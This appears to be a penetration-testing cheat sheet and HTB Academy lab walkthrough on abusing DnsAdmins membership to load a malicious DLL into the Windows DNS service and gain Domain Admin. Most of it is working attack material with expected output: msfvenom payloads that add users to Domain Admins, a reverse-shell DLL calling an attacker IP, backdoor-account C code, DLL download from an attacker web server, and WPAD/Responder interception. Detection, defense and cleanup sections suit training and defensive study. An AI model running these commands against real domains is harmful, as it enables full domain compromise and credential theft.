🌐DnsAdmins

🎯 Overview

DnsAdmins group members have access to DNS information and can manipulate DNS service configuration. Since the Windows DNS service runs as NT AUTHORITY\SYSTEM, membership in this group can be leveraged for privilege escalation on Domain Controllers or dedicated DNS servers through custom DLL plugin injection.

🔧 Attack Mechanism

DNS Plugin Architecture

# Key attack components:
- DNS management performed over RPC
- ServerLevelPluginDll registry key allows custom DLL loading
- Zero verification of DLL path or content
- DNS service restart loads the custom DLL as SYSTEM
- Full path specification required for successful exploitation

Attack Flow

Generate malicious DLL (msfvenom or custom code)
Host DLL on accessible network share or local path
Configure ServerLevelPluginDll registry key via dnscmd
Restart DNS service to trigger DLL loading
Execute payload with SYSTEM privileges
Clean up registry and restore service

🔍 Group Membership Verification

Check DnsAdmins Membership

# Verify group membership
Get-ADGroupMember -Identity DnsAdmins

# Expected output:
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
SamAccountName    : netadm
SID               : S-1-5-21-669053619-2741956077-1013132368-1109

Alternative Verification

# Check current user groups
whoami /groups

# Look for:
INLANEFREIGHT\DnsAdmins                         Group S-1-5-21-669053619-2741956077-1013132368-1103

💣 Custom DLL Generation

Method 1: MSFVenom Payload

# Generate user addition payload
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

# Expected output:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll

Method 2: Reverse Shell Payload

# Generate reverse shell DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f dll -o revshell.dll

# Set up listener
nc -lnvp 443

Method 3: Custom Mimilib.dll

// Modified kdns.c for command execution
DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
    FILE * kdns_logfile;
    if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
    {
        klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
        fclose(kdns_logfile);
        system("net user hacker P@ssw0rd /add && net localgroup administrators hacker /add");
    }
    return ERROR_SUCCESS;
}

🌐 DLL Hosting and Delivery

HTTP Server Method

# Start Python HTTP server
python3 -m http.server 7777

# Expected access log:
10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -

### Download to Target
```powershell
# Download DLL to target system
wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

# Alternative with Invoke-WebRequest
Invoke-WebRequest -Uri "http://10.10.15.152:1234/adduser.dll" -OutFile "C:\Users\netadm\Desktop\adduser.dll"

# Host on SMB share accessible by Domain Controller machine account
copy adduser.dll \\fileserver\share\adduser.dll

🔐 DNS Service Configuration

Test Non-Privileged Access

# Attempt DLL loading as normal user (should fail)
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

# Expected failure:
DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED

Load DLL as DnsAdmins Member

# Configure custom DLL path (requires full path)
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

# Expected success:
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Alternative UNC Path

# Use network share path
dnscmd.exe /config /serverlevelplugindll \\10.10.14.3\share\adduser.dll

🔄 DNS Service Manipulation

Check Service Permissions

Find User SID

# Get current user SID
wmic useraccount where name="netadm" get sid

# Expected output:
SID
S-1-5-21-669053619-2741956077-1013132368-1109

Analyze Service Permissions

# Check DNS service permissions using SDDL
sc.exe sdshow DNS

# Look for RPWP permissions (SERVICE_START and SERVICE_STOP):
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Service Restart Sequence

Stop DNS Service

# Stop DNS service
sc stop dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

Start DNS Service

# Start DNS service (triggers DLL loading)
sc start dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        PID                : 6960

Verify Privilege Escalation

# Check if user was added to Domain Admins
net group "Domain Admins" /dom

# Expected result:
Group name     Domain Admins
Comment        Designated administrators of the domain

Members
-------------------------------------------------------------------------------
Administrator            netadm

🎯 HTB Academy Lab Solution

Lab Environment

Credentials: netadm:HTB_@cademy_stdnt!
Access Method: RDP
Objective: Leverage DnsAdmins membership to escalate privileges and retrieve flag

Complete Step-by-Step Walkthrough

1. Connect to Target via RDP

# Example target IP from HTB Academy
xfreerdp /v:10.129.43.42 /u:netadm /p:'HTB_@cademy_stdnt!'

# Expected output:
[16:18:25:879] [4321:4323] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr

2. Generate Malicious DLL (On Pwnbox/Attack Machine)

# Generate DLL to add netadm to Domain Admins
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

# Expected output:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 8704 bytes
Saved as: adduser.dll

3. Start HTTP Server for DLL Delivery

# Start Python HTTP server on Pwnbox
python3 -m http.server 7777

# Expected output:
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...

4. Download DLL to Target (PowerShell)

# From RDP session, open PowerShell
# Download adduser.dll using wget
wget "http://10.10.14.80:7777/adduser.dll" -outfile "adduser.dll"

# Verify download
ls

# Expected output:
    Directory: C:\Users\netadm
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        5/19/2021   1:38 PM                Videos
-a----        10/3/2022   9:03 AM           8704 adduser.dll

5. Configure DNS Plugin (Command Prompt)

# Open Command Prompt from RDP session
# Load malicious DLL via dnscmd
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\adduser.dll

# Expected success message:
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

6. Restart DNS Service

# Stop DNS service
sc stop dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530

# Start DNS service (triggers DLL execution)
sc start dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 6460
        FLAGS              :

7. Verify Privilege Escalation

# Check Domain Admins group membership
net group "Domain Admins" /dom

# Expected result (netadm should be added):
Group name     Domain Admins
Comment        Designated administrators of the domain

Members
-------------------------------------------------------------------------------
Administrator            netadm
The command completed successfully.

8. Sign Out and Reconnect

# Sign out from current RDP session to refresh permissions
# Reconnect with same credentials
xfreerdp /v:10.129.43.42 /u:netadm /p:'HTB_@cademy_stdnt!'

# This step is important to refresh the session with new Domain Admin privileges

9. Access Administrator Desktop and Retrieve Flag

# Open Command Prompt with Domain Admin privileges
# Access the flag file
type C:\Users\Administrator\Desktop\DnsAdmins\flag.txt

# Submit the flag content to HTB Academy

Key Success Indicators

✅ DLL Generation: 8704 bytes adduser.dll created successfully
✅ HTTP Server: Python server serving on port 7777
✅ DLL Download: adduser.dll present in C:\Users\netadm\
✅ Registry Configuration: "Registry property serverlevelplugindll successfully reset"
✅ DNS Service Restart: Both stop and start commands complete successfully
✅ Privilege Escalation: netadm appears in Domain Admins group
✅ Administrator Access: Can read files in C:\Users\Administrator\Desktop\DnsAdmins\

Alternative Attack Methods

Method A: Direct Administrator Access

# Generate DLL for direct access
msfvenom -p windows/x64/exec cmd='copy c:\Users\Administrator\Desktop\DnsAdmins\flag.txt c:\Users\netadm\Desktop\flag.txt' -f dll -o getflag.dll

Method B: Service Account Technique

# Generate DLL to enable RDP for netadm
msfvenom -p windows/x64/exec cmd='net localgroup "Remote Desktop Users" netadm /add' -f dll -o rdp.dll

🧹 Cleanup and Restoration

⚠️ Important Considerations

# WARNING: This is a destructive attack
- Only perform with explicit client permission
- DNS service disruption affects entire domain
- Always have cleanup plan ready
- Document all changes made

Registry Cleanup

Verify Registry Key

# Check if ServerLevelPluginDll key exists
reg query \\[DC_IP]\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

# Look for:
ServerLevelPluginDll    REG_SZ    adduser.dll

Remove Registry Key

# Delete the malicious registry entry
reg delete \\[DC_IP]\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

# Confirm deletion:
Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.

Service Restoration

# Restart DNS service cleanly
sc.exe start dns

# Verify service is running
sc query dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING

DNS Functionality Test

# Test DNS resolution
nslookup localhost
nslookup domain.com

# Verify DNS is working correctly

🌐 WPAD Attack Alternative

Global Query Block List Manipulation

Disable Global Query Block

# Disable global query block list
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

Create WPAD Record

# Add WPAD record pointing to attack machine
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

Traffic Interception

# Set up Responder for traffic capture
responder -I eth0 -A

# Alternative: Use Inveigh
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y

🔍 Detection Indicators

Registry Monitoring

# Monitor for registry changes:
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll

# Event IDs to watch:
Event ID 4657 - Registry value modified
Event ID 4656 - Handle to object requested

Service Activity

# Suspicious activities:
- DNS service stops/starts outside maintenance windows
- dnscmd.exe execution by non-administrative users
- Custom DLL files in DNS-related directories
- Network connections from DNS service process

Network Indicators

# Traffic patterns:
- HTTP requests for DLL files from Domain Controllers
- SMB connections to unusual shares
- DNS queries to non-standard records (WPAD)

🛡️ Defense Strategies

Group Membership Hardening

# Regular audits:
- Review DnsAdmins group membership quarterly
- Remove unnecessary accounts
- Implement least-privilege principles
- Use dedicated DNS management accounts

DNS Service Protection

# Security measures:
- Enable DNS audit logging
- Monitor ServerLevelPluginDll registry key
- Implement application whitelisting
- Restrict DNS service permissions

Detection Rules

# Deploy monitoring for:
- DnsAdmins group modifications
- dnscmd.exe execution
- DNS service restart events
- Custom DLL loading by DNS service

📋 DnsAdmins Exploitation Checklist

Prerequisites

DnsAdmins membership verified
DNS service permissions confirmed (RPWP)
Domain Controller access available
Client permission obtained for destructive testing

DLL Generation

Malicious DLL created (msfvenom or custom)
Payload tested in lab environment
Hosting method prepared (HTTP/SMB)
Full path available for DLL specification

Service Exploitation

Registry key configured (dnscmd /config /serverlevelplugindll)
DNS service stopped (sc stop dns)
DNS service started (sc start dns)
Privilege escalation verified (group membership/access)

Flag Retrieval

Administrator access confirmed
Flag file accessed (c:\Users\Administrator\Desktop\DnsAdmins\flag.txt)
Flag content extracted and submitted

Cleanup

Registry key removed (ServerLevelPluginDll)
DNS service restored (clean restart)
DNS functionality verified (nslookup tests)
Changes documented for client reporting

💡 Key Takeaways

DnsAdmins membership enables SYSTEM-level code execution on DNS servers
Custom DLL injection through ServerLevelPluginDll registry key
DNS service restart required to trigger malicious DLL loading
Full path specification mandatory for successful exploitation
Destructive nature requires careful coordination with client
Domain Controller impact - DNS disruption affects entire domain
Multiple attack vectors - user addition, reverse shells, WPAD attacks
Cleanup essential - registry restoration and service stability

DnsAdmins group privilege escalation represents one of the most powerful Windows built-in group attacks, capable of achieving Domain Admin privileges through DNS service manipulation.

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Last updated 1 month ago